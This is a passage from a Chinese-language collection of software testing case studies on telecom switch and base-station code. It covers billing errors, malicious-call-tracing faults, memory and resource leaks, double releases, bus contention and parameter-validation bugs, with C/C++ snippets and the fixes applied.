当中继选线发生了同抢需要重新选线时，CCB的reset_CCB_for_reseatch_called_locati on()就会把有关的呼叫信息清掉，造成计费情况分析失败，产生计费费用为0的告警话单。 更正reset_CCB_for_reseatch_called_location()中清除被叫信息的代码，重选中继时不 清除被叫用户这部分属性。 思考与启示： 1、在计费测试过程中，对话单的观察很重要，不应该放过任何一个细小的疑点； 2、计费测试仅仅打几次电话往往达不到效果，越接近用户实际使用的情况越可能发现问 题。 【案例1.9.2】 【案例描述】 在进行128模块V5用户CENTREX新业务测试时，偶然遇到一个怪现象：对群内一个 V5ST用户只开放MCT权限，在进行恶意呼叫追查时，有一次报恶意呼叫追查成功音只报了一 半，当正要报出恶意呼叫的号码时，业务中断重新回到通话态，随即重新追查一次，报“ 已申请其它新业务，本次申请不成功”。恶意呼叫追查与任何新业务都不会冲突，而且此 用户也只有恶意呼叫追查有权，可以肯定此时程序出问题了。为了重现，再次挂机，重新 呼叫，应用此新业务，但这个现象一直没有出现。大约反复操作20遍，又出现了一次这样 的情况，显然程序中可能存在某种问题。 【处理过程】 出现这个问题后，及时与开发人员A取得了联系，并一起试图重现这个问题，通过 许多次的反复操作，又出现了一次这种情况。确认问题后，A表现出高度的责任心，马上驾 调试环境，反复调测，终于在当天就逮住了狐狸尾巴： 1、当用户接听恶意呼叫者的电话, 并启动恶意呼叫追查业务后, 在V5_CR_VOICE TONE状态下, 只要听MCT音的用户用脉冲方式拨任意一个数字, 则立即停止送MCT音, 而将 用户切换回与恶意呼叫者的通话. 但是程序中没有对拨号类型作判断, 导致用户若用音频 拨号也会作同样的处理。 2、除了取消此次MCT服务, 将用户切换回与恶意呼叫者的通话外, 如果不释放M CT_HANDLE, 由于每个模块只有一个这样的资源, 则下一次使用MCT业务的用户不能成功, 因为会在申请MCT_HANDLE时失败, V5模块和ST模块在这个地方处理都有问题, 没有将MCT _HANDLE释放掉, 对于V5用户会听新业务失败音, 对于ST用户会听音乐。 当不停的拨测V5用户的MCT业务时, 有时在听音时, 可能由于网板有杂音等原因( 或用户碰了话机的按键), 导致DTR收到一位号, 则会立即停止此次MCT服务, 用户会听到 MCT送音突然中断, 然后恢复了与恶意呼叫者的通话. 而下次再用MCT时, 由于上面所述的 原因, 会听到新业务失败音, 此次失败后, 无论MCT_HANDLE分配成功与否, 该用户的MCT标 志都被置为1, 所以在用户挂机时, 会将该模块唯一的MCT_HANDLE资源释放掉. 则以后该功 能又可以正常实现。 在追查这个问题时，开发人员A又发现了一个可能导致死机的严重问题：在用户启 动MCT服务, 正在听报追查号码的MCT音时, 若恶意用户此时挂机, CCB的处理中, 只针对 ST用户送DISCONNECT, 而对V5ST用户送的是RELEASE消息, 这导致V5X收到此消息后, 将该 V5ST用户的cr2清除掉, V5_USER_TALBE[ ]. cr2变为0xFFFF, 这样在V5_CR_VOICETONE超 时后, 程序中会检查cr2的状态是否为HOLD, 当取cr2的内容时, 由于cr2已被清除, 会发 生指针越界的GP错误。 【结 论】 通过调测发现、定位并解决问题。 【思考与启示】 我们平常一些熟视无睹的业务或按正常流程操作没有问题的业务，不能保证它就 一定没有问题，要善于抓住一丝一毫的异常现象。对于很难重现的问题千万不要轻易放过 ，我们网上设备所出的问题很多都是一些在实验室难以出现或很难重现的一些问题，一些 显而易见的问题一般都可消灭在实验室，难就难在消灭一些隐藏很深的问题。说老实话， 我们的产品还有许多问题 ，需要我们扎扎实实锲而不舍的工作。 10、分配资源是否已正确释放 【案例1.10.1】 【正 文】 在对接入网A产品的网管软件测试中，发现了一个WINDSOWS资源损耗的的问题： 当网管软件运行几天后，WINDOWS总会出现“资源不够”的告警提示。如果网管软件不关掉 再重新启动的话，就会出现WINDOWS资源完全耗尽的现象，最终网管系统反应很慢，无法正 常工作。 从现象上可以判断出，网管软件存在隐蔽的内存泄露或资源不释放的问题，并且这种资源 耗尽是一个缓慢的过程。如何定位这个问题呢？ 定位这种问题可以利用WINDOWS中的一个系统资源监视工具。打开Windows的“附件/系统 工具/资源状况”，这是一个系统资源、用户资源、和GDI资源的实时监视工具。 工具有了，那么如何发现导致不断消耗资源的特定操作呢？ 首先和开发人员共同探讨，列出几个最可能消耗资源的操作和一些操作组合，这样就缩小 了监视范围，避免没有范围的碰运气，否则如大海捞针。 监视前，首先重新启动WINDOWS，最好不运行其他的程序，打开“系统状况”这个监视工 具，然后运行网管软件，记下此时的资源状况数据。 然后针对一个可疑的操作，快速大量地重复进行。这种重复性的操作可以利用QArun测试 工具执行，QArun可以记录操作者的一次操作步骤，然后按照设定的次数重复操作。操作后 ，观察此时的资源状况，并记下此时的数据，与操作前的数据比较，如果操作前后的数据 数据没有变化或变化很小，可排除此项操作，否则就可断定此项操作会引起资源耗尽。 对其它可疑的操作和操作组合重复以上过程。 通过以上的步骤，终于找出引起资源耗尽的罪魁祸首。分析相应部分的代码，发现引起资 源耗尽原因有：内存泄露，画笔和画刷资源用完后未释放等。 【案例1.10.2】 【正 文】 某产品后台软件版本，是用C++写的，程序员在写代码时，经常在构造函数中申请一 块内存，而不释放，在程序其他代码中也经常只管申请，不管释放。 例如: void WarnSvr::SaveWarnData() { ...... for(int m=0;m<RecordsInBuffer[EVENT_ALARM];m++) { HISTORY_FILTER_INDEX* item= new HISTORY_FILTER_INDEX; item->Csn=Buffer[EVENT_ALARM][m].Csn; item->Position=m +(RecordsInHistoryFile-RecordsInBuffer[EVENT_ALARM]); //If a warn with a certain Csn is not in EventFilterIndex //it is not necessary to be added to HistoryFilterIndex int item_total=EventFilterIndex.GetItemsInContainer(); BOOL find_flag=false; for(int k=0;k<item_total;k++) if(EventFilterIndex[k]->Csn==item->Csn) { find_flag=true; break; } if(find_flag) { HistoryFilterIndex.Add(item); if(HistoryFilterIndex.IsFull()) ClearIndexEntry(); } //建议在此处加上: // else // delete item; }。 有的程序员认为，后台运行的环境有大量内存，几个字节的浪费不会造成死机等 重大事故。然而，长时间累计起来，必然会造成资源紧张而出现故障。 实际上，这种思想是造成我们产品不稳定的原因之一。我们的主机在网上能运行 几个月几年，大家对内存的分配释放较敏感，而我们的后台产品往往只能正常运行几天。 这个地方不注意也是原因之一吧。 【案例1.10.3】 【正 文】 在进行代码审查过程中，造成内存泄漏的代码比较多。下面举几种常见的内存泄漏错误， 供测试人员在代码审查中参考： 1. 函数有多个出口时，没有在每个出口处对动态申请的内存进行释放。一般在异常处理 时容易出现这种错误。下面的代码段就是这样的例子： ..... pRecord = new char[pTable->GetRecordLength()]; assert(pRecord != NULL); if (pTable->GoTop(FALSE) != DBIERR_NONE) return; // 如果从这里返回，pRecord将得不到释放 ..... pTable->Close(); delete[] pRecord; } 2. 给指针赋值时，没有检查指针是否为空，如果指针不为空，那么指针原来指向的内存 将丢失。请看如下代码段： .... struct FileInfo * pdbffile = new struct FileInfo; pdbffile->pfileinfo = new struct ffblk; pdbffile->srcname = srcRootPath; pdbffile->desname = desRootPath; pdbffile->prev = NULL; pfile = pdbffile; //赋值之前没有检查一下pfile是否为空，如果不为空，会造成pfile指向的内存丢失。 dbf_start_needed = FALSE; dbf_Finish = FALSE; flag_begined = TRUE; if(FALSE == Copy(TRUE)) { dbf_start_needed = TRUE; WarnMsgOut("Error occurs while copying files in directory <dbf>,trying again ."); } } 3. 连续二次内存动态分配，在第二次分配失败时，忘记释放第一次已经申请到的内存。 .... pMsgDB_DEV = (PDBDevMsg)GetBuff( sizeof( DBDevMsg ), __LINE__); if( pMsgDB_DEV == NULL ) return; pMsgDBApp_To_Logic = (LPDBSelfMsg)GetBuff( sizeof(DBSelfMsg), __LINE__ ); if( pMsgDBApp_To_Logic == NULL ) return;//此处返回造成pMsgDB_DEV指向的内存丢失 .... 4.代码中缺少应有的条件分支处理，导致程序未执行任何操作而退出时，也可能没有释放 应释放的内存，这种情况一般是缺少应有的else分支，或switch语句的default分支没有应 有的处理。 static void OncePowerCmdHandle( struct HT_Appmsg * msg ) { ... ... pPower_test_answer =(struct _oncepower_test_answer *)GetBuff(sizeof(struc t _oncepower_test_answer),__LINE__); if( pPower_test_answer == NULL_PTR ) return; ... ... if (TSS_State[testpsn].state == TEST_DEV_BUSY || TSS_State[testpsn].state == TEST_DEV_ERROR ) {... } else if (TSS_State[testpsn].state == TEST_DEV_IDLE ) {... } // 缺少 else 分支，可能造成 pPower_test_answer 得不到释放 } 造成内存泄漏的情况很多，以上是几种典型的情况。 虽然内存泄露一般出现在异常情况下，毕竟给系统造成很大的隐患，使系统的健壮性降低 。测试人员在作代码审查时，对上述几种情况要尤其注意。 【案例1.10.4】 【正 文】在进行SAR的PDU包发收的测试过程中要同时考虑几个边界值,即发送 包大小范围[0-Nmax],SAR的PDU包接收的最大值Kmax,MBUF块的大小M.在实测中,将SAR的PD U包接收的最大值设为2000(Kmax=2000B), MBUF的块长设为512(M = 512B),则发送包大小的 正确分支的取值为下限0,上限Nmax=2000,然后在0与2000之间随机取若干值,再考虑MBUF的 块长,还可增加M倍数的若干选值及其附近值.以上是测试的一般思路,但由于很偶然的机会 选择包长2000,及Kmax=2000B,才发现问题.原因如下: MBUF块长512,但块中实际存放数据的只有500(MBUF头上有2个长字,尾部有1个长字共12B只 用于块控制),而发送的包长正好是500的整数倍4,由于是整数倍,所以SAR(BT8230)从FREE链 上摘成5个MBUF(原因从略),而SAR驱动只知道有4个MBUF,这样到上层用户时,只释放4个MBU F,从而漏掉1个MBUF,经过很短一段时间后,内存即被耗尽.(此问题非常严重,因为在实际运 用中,是500的整数倍的PDU包的概率较小,但一旦出现就会发生一次内存泄漏,这样经过若干 天或若干月的运行后会使系统崩溃) 以前未发现此问题的原因是因为原来使用的缓冲块长为2048,减去12B的控制信息,实际存放 数据的长度为2036.由于只考虑了2048这个值,忽略了2036,所以在选取上下限中的若干值时 ,选取包的长度是2036的倍数的概率就非常小,因而未发现该问题. 由于测试中一般很难将取值范围中的所有值覆盖全,所以在选取上下限中的若干取值时要格 外仔细,考虑的方面尽可能全,因为很有可能其中某些值就是测试边界值.凡是涉及的数字尽 量选取,象该例中正确分支的测试边界为0,2000,512及其整数倍,500 及其整数倍,12 及其 整数倍等值,它们是必测的边界值,而非可测可不测的随机选取的所谓若干选值. 【案例1.10.5】 【正 文】 ABIS.CPP中的函数rel_ABIS_CCB_conn( )中，在进行消息链表Msg_Queue[ces]的拆链操作 时，对于相应的CCB只进行了一次拆链操作，即只拆除了一个节点，如果出现该CCB对应的 消息节点不止一个的情况就会出现大量节点不能释放的问题。 if( Msg_Queue[ces].msghead != NULL_PTR )//message buffer notempty { //get first message record pMsgRecord = Msg_Queue[ces].msghead; //release buffer-messages concerning with ccb_no for( index = 0; index < MSGBUFFERNUM; index++ ) { //这里要对pMsgRecord的值进行判断 if( (pMsgRecord != NULL_PTR) && pMsgRecord->CCB_no == ccb_no ) { //free the message buffer if( pMsgRecord == Msg_Queue[ces].msghead )//head Msg_Queue[ces].msghead = pMsgRecord->pnext; else if( pMsgRecord == Msg_Queue[ces].msgtail )//tail { Msg_Queue[ces].msgtail = pPrevMsgRecord; Msg_Queue[ces].msgtail->pnext = NULL_PTR; } else//not head and tail { pPrevMsgRecord->pnext = pMsgRecord->pnext; } //put buffer back to buffer pool if( Msg_Buffer.empty_num == 0 ) { Msg_Buffer.linkhead = Msg_Buffer.linktail = pMsgRecord; pMsgRecord->pnext = NULL_PTR;//这里将 pMsgRecord->pnext置为空 Msg_Buffer.empty_num++; } else { Msg_Buffer.linktail->pnext = pMsgRecord; pMsgRecord->pnext = NULL_PTR;//这里将 pMsgRecord->pnext置为空 Msg_Buffer.linktail = pMsgRecord; Msg_Buffer.empty_num++; } } else if( pMsgRecord == NULL_PTR ) break;//end of if //get next message record pPrevMsgRecord = pMsgRecord; pMsgRecord = pMsgRecord->pnext;//这时pMsgRecord为 NULL_PT R将跳出for循环语句 }//end of for }//end of if 这里在拆除一个节点后导致pMsgRecord为NULL_PTR，再进行判断时将会跳出循环，这样将 不能保证所有与同一个CCB有关的节点均被拆除，这时如果与同一个CCB对应的消息节点不 止一个则这些消息节点均无法释放，造成可用的节点数不断减少，直接影响系统的建链过 程，给系统的稳定带来隐患。 后与开发人员联系，根据这段算法编写小程序验证了该问题，并提出了相应的解决方案， 消除了该隐患。 【案例1.10.6】 【正 文】 1、建立一个呼叫，并保持通话。在AM控存监控操作界面中观察通话建立在哪一块 FBI板上。 2、将有通话的FBI板拔出，观察通话情况，此时话音中断，但信令仍然保持。观察 AM控存监控操作界面和E3M板2K网界面，发现AM侧因为检测到光纤已断，将通话在CTN、E3 M板上占用的时隙置为空闲，即在AM控存监控操作界面和E3M板2K网界面观察不到时隙占用 情况。 3、分别在30秒、1分钟、3分钟时将拔出的FBI板插回原槽位，发现每次插回FBI板后 话音立即恢复。 4、观察BAM上的打印消息，发现打印的各模块占用CTN板大HW上DM时隙的空闲个数比 较混乱。打印消息如下图所示： 其中： 1） 由于模块1、2、3、4各占用CTN板上两条大HW，每个DM时隙个数为256（即由两条 大HW的两个DM组成，由于与OPT相联的大HW上有两个保留时隙，因此此DM上空闲时隙个数为 ：254。 2） 由于E3M板只与一条大HW相联，故每个DM上空闲的时隙个数为：128。 本现象对应2个问题：idle_count打印混乱，BM释放故障光路的时隙和对应的CCB、无 线信道等资源。 1、idle_count打印混乱是由于函数restore_one_hw中的一些处理不当造成的，以前被当作 B型机的历史遗留问题没有重视； 2、B2模块有2条光路，如果断掉其中一条，模块状态不会改变，原B型机程序对此不作任何 处理，但应该增加这个功能，以免光路故障导致资源吊死。 解决方法： 问题一： 将函数restore_one_hw中原代码作如下改动： mod_dm[mod][i].tail.tsn = idle_dm_head + 125; ( idle_dm_head == 384 ) ? mod_dm[mod][i].idle_count += TS_PER_DM - 1: mod_dm[mod][i].idle_count += TS_PER_DM - 1; 改为： if ( idle_dm_head != 384 ) { mod_dm[mod][i].tail.tsn = idle_dm_head + 127; mod_dm[mod][i].idle_count += TS_PER_DM; } else { mod_dm[mod][i].tail.tsn = idle_dm_head + 126; mod_dm[mod][i].idle_count += TS_PER_DM - 1; } 问题二分析如下： 目前的模块状态是由IPATH调用DBMS模块的边检查实现的，只要存在一条可用 的光路，即认为相邻模块为正常，对于具体的OPT板上的时隙状态的维护没有与呼叫控制的 接口。具体的OPT板状态功能的检测是由IPATH完成的，在BM侧没有专门维护OPT和MC2板的 模块，将转交OS组处理。 总结： 在拔出FBC板后，通话话音被中断，AM/CM侧已将与被拔出的FBC 板相关的资源 全部置为不可用，此时BM侧主机程序也应该与AM/CM侧一致，释放掉所占用的资源，并将原 通话的信令连接断开。这可能是由于不同模块的开发人员缺少相互间了解而造成的，即AM /CM侧与BM侧开发人员交流不够。作为测试人员对类似两个或多个模块相关的部分应该充分 进行测试，不要想当然，往往是看起来不可能出问题的地方也容易测出问题。 【案例1.10.7】 在进行有关排队指示的系统测试中，先闭塞掉基站的所有业务信道TCH，进行呼叫，再直 接挂机或超时释放，发现TC存在中继资源吊死的问题。 由于此问题重现，后经定位分析，发现是ccb超时后收到AIR发来的clear cmd，进入 rel _one_bm_res( )时，由于ccb所登记的CIC还放在pre_occupied_res，并没有放入occuped_ res，而rel_one_bm_res()只对存入occuped_res的CIC进行判断，并向AIE发UNBOOKCIC，而 没有对存入pre_occupied_res的CIC进行判断，并UNBOOK掉，导致TC的中继资源吊死。应在 超时函数或释放函数中对pre_occupied_res的CIC进行处理。 在此过程中，CIC资源还存放在老CCB的pre_occupied_res中，在超时函数或释放函数中均 未对pre_occupied_res中的CIC进行处理（即向AIE UNBOOK），导致TC中继资源吊死。 在超时函数RR_time_out()中timer_name为TN_WAIT_ASS_READY时，和释放函数rel_one_b am_res()中增加对CCB的pre_occupied_res中的CIC的判断和释放处理。 在使用资源同时，就要周密地考虑好资源的释放问题，只有这样，才能使我们的 系统不断地稳定下来。 资源的释放对于我们的交换机来说是至关重要的，一点点的疏忽都可能最终使我们的交 换机因为无资源使用而死掉，要知道，“千里长堤，毁于蚁穴”。 11、防止资源的重复释放 【案例1.11.1】 【正 文】 当进行大话务量呼叫时，在统计代码中出现AIE收到UNBOOK CIC消息时，发现自身 电路状态为空闲，出现一个断言。这说明AIE电路电路被误释放了。 这个问题出现的原因有以下几种： 1. RR可能发错了电路号，导致AIE状态错误。 2. AIE可能发起资源核查，失败后将本控制表项释放了。 3. RR可能发起了重复释放操作，导致AIE的某个表项连续收到两个UNBOOK消息。 分析完了可能的情况，就要一一分析定位。 在可能原因一发生的情况下，RR发来的UNBOOK消息所带的AIR连接号和模块号会错误，导 致我们会出现断言。而在测试数据结果文件中，没有出现这个断言，因此可能原因一不成 立。 在可能原因二发生的情况下，AIE收到资源核查失败消息的数目应该不是零。但是实际情 况下统计结果中收到资源核查失败消息的个数为零，说明情况二也不成立。 由上分析，这个问题只可能是由于RR重复释放造成的。但是为何会发生重复释放，这需要 进行进一步分析。 从呼叫的正常流程来看，是不会产生重复释放的，因此我们怀疑该问题与异常流程有关。 从统计代码中查找异常流程，发现该次统计中BSC内切换流程多次出现问题，具体原因是由 于切换过程中在目标小区申请不到信道，产生切换失败造成的。因此集中研究这个流程， 发现存在问题如下： 当原小区向目标小区发送内部切换请求消息时，带来了AIR和AIE的各项信息，而目标小区 收到这些信息后就将之保存在自身的占用资源中。如果目标侧申请信道失败，就会向源侧 发内部切换拒绝消息，而后产生本地释放。由于在释放前目标侧RR没有将占用资源中的AI R和AIE信息清除，因此导致重复释放时对AIR和AIE发起了释放操作。由于AIR释放时有保护 机制，所以不会产生问题，而AIE没有保护机制，新CCB就将AIE电路释放掉了。而后当老C CB在通话结束后发起释放时，就产生了重复释放。 从上面分析可以看出，这个问题是由于RR释放流程的错误造成的，因此，我们要对此加以 修改，在新CCB释放前将AIR和AIE信息从预占资源中清除。 RR的释放是一个非常复杂的过程，如何正确的整理资源，确保资源的合理释放， 这是摆在我们面前的一个艰巨的问题，我们要仔细分析各种可能发生的情况，正确释放各 种资源，即不会吊死资源，也不会产生重复释放。 12、公共资源的互斥性和竞用性 【案例1.12.1】 【正 文】 试验环境：CPX8216 CPCI 机架、vxWorks操作系统、Tornado1.0.1调试环境 测试用例：测试板间通信性能。从接口板A向接口板B循环发送消息，通过超级终端观察消 息的收发情况。 测试结果：每发送一定数量的消息帧后，会出现发送地址出错现象。 原因分析：接收板回送缓冲区指针给发送板，是采用memcpy单字节拷贝的方式。若发送速 度快于接收速度，两板竞用发送板系统总线访问缓冲区指针所在的共享内存，导致数据访 问冲突。memcpy过程被打断，即出现发送板读发送地址出错现象。 采用四字节拷贝函数bcopyLongs传送发送缓冲区指针，问题解决。 共享内存的访问设计，除了考虑互斥外，还有总线竞用问题。 【案例1.12.2】 【正 文】 问题描述： 在进行主BCCH载频互助新功能开发的并行联调测试的过程中，发现了以下的问题 ：在数管台设置“TRX倒换是否允许”为“是”，进行设定整表后，关闭基站其中配有4个 TRX的小区的主BCCH所在的TRX电源，发现对应小区重新初始化并成功，也就是载频互助成 功。这个时候从后台对该小区所在的站点进行4级复位，同时重新打开之前关闭的该小区的 原配主BCCH所在TRX的电源，发现对应小区初始化失败。 问题定位： 在问题定位开始，先是查看了载频互助相关代码在站点初始化流程中的处理。B TSM程序初始化过程中，先是判断这一次初始化之前是否发生过载频互助，若发生过，再判 断原配主BCCH（即数据库中实际配置的主BCCH所在的TRX）是否已经恢复（即能正常建立T EI，能正常设置该TRX对应的RC属性，总之能正常开工）。若载频互助发生过，且原配主B CCH所在的TRX（CoTRXGroupForBts[BtsNo].MainTRX）已经恢复，即把之前进行互助的TRX （CoTRXGroupForBts[BtsNo].AidTRX）的数据和原配的主BCCH所在TRX的数据交换回来， 并重新进行初始化。表面上看原理应该没有什么逻辑错误，怎么会出现初始化不成功呢？ 我们对程序中的每一个可能导致该问题的变量加打印调试程序，然后重现该问题，终于在 打印出来的信息中发现在载频互助发生后其互助的主BCCH所在的TRX与实际数据配置主BCC H所在的TRX为同一TRX，这有问题，因为载频互助的实质就是实际数据配置主BCCH所在的T RX不能正常开工而借用其他TRX作为主BCCH。于是我们根据此线索查询了所有BTSM的程序， 没有发现问题的根源。于是我们查了最近合进版本的相关模块的程序，终于找出了问题的 根源所在。 在载频互助程序中以全局变量ptrBTS_CONFIG_MAP[BtsNo].TRX_no_BCCH_in表示当前实际运 行的主BCCH所在的TRX号，是随时变化的；以CoTRXGroupForBts[BtsNo].MainTRX表示原配 的主BCCH所在的TRX号，是固定的。两者在系统开工的系统开工的接口函数FetchOneSiteC onfig（ ）中赋了相同的值：该函数的409行有赋值语句CoTRXGroupForBts[BTS_no_temp] .MainTRX = ptrBTS_CONFIG_MAP[BTS_no_temp].TRX_no_BCCH_in。以前函数FetchOneSite Config（）只是在系统开工时才调用过一次，故CoTRXGroupForBts[BTS_no_temp].MainTR X 在系统开工以后是不变的，但是在DBMI同步开发的整改中，作了如下处理：在每一次数 据动态设定后，先判断站点下有没有发生过载频互助，若发生过则试图先把目前进行互助 的TRX的数据与实际数据配置成主BCCH的TRX的数据倒换回来，然后进行站点初始化。问题 就出现在这，在DBMI中认为DB中原配的主BCCH的TRX是ptrBTS_CONFIG_MAP[BTS_no_temp]. TRX_no_BCCH_in，而且每次进行站点初始化时都调用函数FetchOneSiteConfig（），这样 将导致CoTRXGroupForBts[BTS_no_temp].MainTRX的值与DB中实际原配主BCCH所在TRX不一 致，从而导致主BCCH的相关数据倒换是出现错误，最终导致相应小区初始化不成功。 收获及反思：这个问题的出现是因为主机程序两个功能模块DBMI与BTSM之间的开发缺少相 互沟通引起，如果在开发之前两个模块的的开发人员先约定好各个全局变量的用途，如果 DBMI与BTSM两个功能模块都认为CoTRXGroupForBts[BTS_no_temp].MainTRX是实际数据的原 来的主BCCH所在的TRX号，那么就不会出现以上问题。现在BSC主机程序的各个功能模块都 同时合进了许多代码，各个功能模块之间的联系与冲突肯定会存在，这就需要开发人员在 开发设计方案时就相互沟通，否则以上由于功能模块间的的冲突引起的问题肯定会存在， 而且可能不那么明显的暴露了出来。我们的产品埋伏的炸弹的机会就越多。 二、接口类代码问题 1、对函数参数进行有效性检查 【案例2.1.1】 【案例描述】 某交换类产品BAM后台管理系统使用了注册表存储后台系统数据自动备份时间；在对 数据自动备份进行系统测试时考虑到注册表中数值的任意性，很有可能被测系统没有对注 册表中存储的值作相应的合法性检测，从而有可能对系统产生不良影响。 【处理过程】 通过审查源程序及实际验证，发现果然存在问题。BAM有关数据自动备份程序程序在得到该 项值后只做了简单处理，没有对时间进行合法性验证。若自动备份操作发生在前后台通讯 的高峰期或者是在设置数据需要对数据库进行操作时，对系统可能会产生重大影响。 【结 论】 系统使用注册表中的数据同样要进行各种情况下的测试，包括合法的和不合法的数据设置 。 【思考与启示】 系统的数据输入有多种渠道，不仅包括人机命令、系统INI文件，还包括注册表等其它途径 ；在测试时对各种情况都要进行全方位的测试，从而保证系统的可靠性。 【案例2.1.2】 【案例描述】 设计规定07的TSS板是不支持数字用户内，外线强测的，在对数字用户内，外线测试正常 后，有意强测一正在通话的数字用户，却发现返回报告： 用户外线测试 ------------ 测试时间 = 1999-06-03 16:48:06 号首集 = 0 用户号码 = 6540136 BAM测试状态 = 正常 主机测试状态 = 正常 AVAG = 0.08 AVBG = 0.29 AVAB = -0.21 DVAG = 0.62 DVBG = 0.62 DVAB = 0.00 RAG = >10M RBG = >10M RAB = >10M RL = >10M CAG = 0.001 CBG = 0.001 CAB = 0.001 结论 = 断线 结论断线肯定是错误的，测试期间查询TSS状态，显示TSS空闲，可见主机返回的报告是错 误的。 【处理过程】 修改命令ADD RTSTI对应的存储过程，问题解决。 【结 论】 用户外线测试主机没有判用户是否为数字用户。 【思考与启示】 测试一项功能，既要测试系统提供的功能要满足要求，系统没有提供的功能看是否误执行 了，导致错误的结论。 【案例2.1.3】 【正 文】 一般开发人员认为函数的参数很简单，但在实际设计和调用函数时，很容易犯一些参数方 面的错误。下面就一些例子进行一些分析，希望能引起大家的重视。 1、函数设计中，使用函数内局部变量保存下次函数重新调用时需要的保留值。 void SlaverDownLoadProc( WORD wMsgLength , void *pTempMsgAddr ) { void *pTempTargetAddr ; SSLAVERLOADMSG *pSTempSlaverLoadMsg = ( SSLAVERLOADMSG * )pTempMsgAddr; if ( COMMON_BOARD_LOAD_PROGRAM == pSTempSlaverLoadMsg->m_ucCmd ) pTempTargetAddr = ( void * )SDRAM_LOAD_PROG_START_ADDR ; #ifndef MMX /* MMX板的数据不用加载，用备份方式*/ else if ( COMMON_BOARD_LOAD_FPGA == pSTempSlaverLoadMsg->m_ucCmd ) pTempTargetAddr = ( void * )SDRAM_FPGA_START_ADDR ; ... case BEGIN_LOAD : if ( ( LOAD_MIDDLE_FRAME == pSTempSlaverLoadMsg->m_ucLoadCmd ) &&( ( dwRecFrameNum % 0xFF ) == pSTempSlaverLoadMsg->m_ucOrderNo ) ) { /* 序号和帧的命令字都是合法的，保存BUFFER */ memcpy( ( BYTE * )pTempTargetAddr , ( BYTE * )pSTempSlaverLoadMsg + 5 , wMsg Length - 5 ) ; /* 5 = m_ucBoardType + m_ucCmd + m_ucSerialNo + m_ucLoadCmd + m_ucOrderNo */ dwRecFrameNum ++ ; ... 这里每收到一帧都要调用此函数，而每次进入时，函数将pTempTargetAddr赋值为两个固 定值中的一个，导致收到的新帧将上一次的帧数据覆盖。显然，函数将本应作为全局变量 的参数pTempTargetAddr错误地定义为局部变量。 2、当函数的输入参数较多，并且互相之间有联系时，是较易出错的地方。 在测试串口任务时，我们发现一个错误：当加入新用户时，当用户名输入到四十一个字符 时，程序死掉。经过调试跟踪，发现是在input函数中调用GetString，但是在对第二个参 数赋值时，没有搞清楚参数之间的关系。第一个参数（传入的指针）指向一长度为40字符 的字符串，而在对第二个参数时，错误地将字符串长度设置为41。导致串口接收第41个字 符时，程序越界操作，导致死机。下面是函数GetString的声明： signed long GetString ( char * szString, /* OUT: 字符串指针 */ WORD wSize /* IN: 指定的字符串长度 */ ) 1 当然有关函数参数的错误不止这些，例如未在模块接口函数内部检验传入参数的合法性、 指针参数的有效性、参数未赋值就使用、参数类型不匹配或考虑不周导致上溢下溢等。这 些都是编程者容易出错的地方，亦是我们大家在走读代码时，需要特别注意的地方。 【案例2.1.4】 【正 文】 在交换机的V5协议测试中，有一个相当常用又相当简单的测试项目，“交换机对某个V5接 口发起主备倒换命令”。这在所有的V5测试中都会很顺利地通过的项目，在以前这个项目 也测试过许多次，也从来没有遇到过异常情况。 可是在一次测试中却遇到麻烦，在交换机侧输入了参数“模块号”、“V5接口号”、“逻 辑C通道ID”之后，发起主备链路倒换的命令，操作的结果居然是“无效的V5端口”。 这种提示令人感到很诧异，因为从AN侧能够正常发起主备链路倒换，从LE侧也能正常发起 该V5端口的指定链路倒换，而且系统也完全正常，可见数据配置并没有错误。排除了人为 的错误之后，我把重点放到了这三个输入参数上：“模块号”，“V5接口号”均是非常常 规的数值，应该没有问题；“逻辑C通道ID”数值比较大，但是仍然在协议规定的65535之 内，应该为有效值。想到常规配置数据时“逻辑C通道ID”值一直配得比较小，或许问题就 出在此。 于是把“逻辑C通道ID”值改小，再作同样的操作，操作成功。到此很显然是这个参数的 有效值范围定义有误，再细细检查，发现它只在单字节范围内有效，必然是该参数定义的 类型有误。原因是：在函数OAM_Swap_Communication_Link（_UC v5_interface，_UC log ic_c_id）里将逻辑C通道定义为字符型导致，改为_US型即解决。 推而广之，在终端的功能测试中，对输入参数值的测试，应该尽量覆盖所有的有效值。在 正常情况下，如果输入值在为有效值，则应该得出正确的结果；如果输入值为非法值，则 系统应该给出错误提示，并且不予执行。 对于参数值有效性的判断，特别应该注意一些特 殊值和临界值，比如在字节和双字节处等等。 【案例2.1.5】 现象与分析： 在回归“载频配置表及跳频数据表中有零频点或重复频点时，MA编码不正确”问 题单时。发现当载频配置表及跳频数据表中有重复频点或零频点时，带跳频的呼叫不成功 。 这时首先考虑系统消息发的是否正确，观察系统消息一，发现所带的CA表没有错 误，已经过滤掉了重复频点和零频点。 在考虑指配命令所带的MA值是否正确，结果发现MA编码也是正确的，也已经过滤 掉重复频点和零频点。 经过以上初步分析以后，开始怀疑给基站下配置时是否也正确过滤了无效频点。 然后查阅代码，发现果然 BTSM在对基站初始化设置载频属性及设置信道属性时，没有对载 频配置表及跳频数据表中频点的有效性做检查，以致于表中出现非法频点时跳频呼叫不成 功。 回顾与反思： 这个问题的发现并没有用什么特殊的分析方法，只不过是一般的“排除法”， 而且这个问题也不是隐藏的非常之深，但是我觉得这个问题的发现暴露了我们在开发过程 中的一个问题。那就是：如何实现各个模块之间的有效沟通，避免因为某一模块的修改而 引起其他模块的连锁反映。 本来RR和BTSM都没有考虑重复频点和零频点的情况，大家都寄托与数据配置的正 确，却也相安无事。RR首先增加了对非法频点的过滤，本来是件好事，使我们的系统变的 更加坚强，但是BTSM并不知道这一变化，于是在错误数据面前束手无策，反而起到了相反 的效果。 公司常说“下一道工序是上一道工序的上帝”，是不是可以引申为“其他相关模 块是本模块的上帝”。试想如果各个模块多想想自己的改动是否给别人带来不良影响，多 及时了解一下其他模块的最新进展。那么此类问题将不再会发生。 【案例2.1.6】 【正 文】 现象与分析： 在动态数据配置测试增加小区时，发现小区不能正常初始化。观察ABIS_BTSM接 口跟踪窗口，没有关于初始化流程的相关消息。经过分析发现是调用函数。 BTSM_make_send_site_config(_UC site_no , _UC ObjectClass , _US BTS_no ,_UC TRX_no , _UC OperMode) { ⋯⋯⋯ //判断合法性 if ((site_no >= MAX_SITE_NUM) || (BTS_no >= MAX_BTS_NUM) || (TRX_no >= MAX_TRX_A_BTS)) { ASSERT(FALSE); return (FALSE); } 　　⋯⋯⋯ } 由于进行小区级的操作调用该函数时，TRX_NO以0xFF带入，则在函数合法性检查时就会返 回。从而引发该错误。 回顾与反思： 这是一个比较普通的错误，但是回顾它产生和解决的过程，觉得很有启发，也引起了 